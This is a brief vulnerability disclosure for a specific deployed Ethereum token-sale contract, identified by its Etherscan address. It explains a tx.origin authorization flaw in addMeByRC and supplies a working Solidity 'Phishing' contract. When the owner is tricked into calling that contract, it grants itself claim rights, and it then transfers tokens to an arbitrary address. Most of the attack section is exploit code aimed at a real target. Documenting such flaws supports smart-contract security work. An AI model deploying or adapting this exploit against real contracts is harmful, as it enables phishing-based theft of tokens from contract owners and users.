address

https://etherscan.io/address/0x403E518F21F5Ce308085Dcf6637758C61f92446A#code

vuln

```
modifier onlyRC() {
    require( rc[msg.sender] ); //check if is an authorized rcContract
    _;
}
...
function addMeByRC() public {
    require(tx.origin == owner);

    rc[ msg.sender ]  = true;

    emit NewRC(msg.sender);
}
...
function claim(address _buyer, uint256 _amount) onlyRC public returns(bool) {
    return tokenContract.transfer(_buyer, _amount);
}
```

In this contract, there is a function named addMeByRC() which can be exploited by phishing attacks to add the evil contract to the rc permission.

attack

we can create a evil contract like this, and send the attack function's link to the owner of TokenSale contract.

```
contract Phishing {

    TokenSale tscontract = TokenSale(TOKENSALE_CONTRACT_ADDRESS);

    function attack() {
        tscontract.addMeByRC();
    }
    function trans() {
        tscontract.claim(0x627306090abaB3A6e1400e9345bC60c78a8BEf57,100);
    }

}
```

when the owner click this link, the "require(tx.origin == owner)" was executed successfully， and then add our Phishing contract address to the rc permission.

Then we can use the trans() to transfer the Token to any address.